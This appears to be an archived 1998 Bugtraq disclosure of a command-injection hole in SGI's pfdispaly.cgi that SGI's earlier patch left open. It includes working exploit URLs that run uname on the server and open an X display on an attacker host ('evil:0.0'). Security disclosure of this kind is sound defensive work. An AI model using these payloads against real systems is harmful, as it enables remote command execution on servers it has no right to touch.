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TUCoPS :: Web :: Apps :: sgipfd~1.txt

Sgi pfdisplay2 CGI holes





Date: Tue, 7 Apr 1998 03:16:01 +0200
From: "J.A. Gutierrez" <spd@GTC1.CPS.UNIZAR.ES>
To: BUGTRAQ@NETSPACE.ORG
Subject: perfomer_tools again

    Hi

    There is already a patch from SGI to the pfdispaly.cgi
    '../..' bug.

    But it seems it fixes only that problem, without checking
    the rest of the code for similar vulnerabilities, so even
    after patch 3018 (04/01/98) you can try:

    $ lynx -dump http://victim/cgi-bin/pfdispaly.cgi?'%0A/bin/uname%20-a|'

    uname -a\| file

    IRIX victim 6.2 03131015 IP22

    or

$ lynx -dump \
http://victim/cgi-bin/pfdispaly.cgi?'%0A/usr/bin/X11/xclock%20-display%20evil:0.0|'

    (You probably will notice this exploit is similar to that
    one on 'wrap'; it's nice to find that sometimes reusing
    code does work)

    The fix is easy (for this particular problem); so it's left
    to the reader.
    Anyway, if you're using SGI cgi's you should consider
    limiting the access to your domain...


--
    J.A. Gutierrez                                   So be easy and free
                                            when you're drinking with me
                                      I'm a man you don't meet every day
 finger me for PGP                                          (the pogues)



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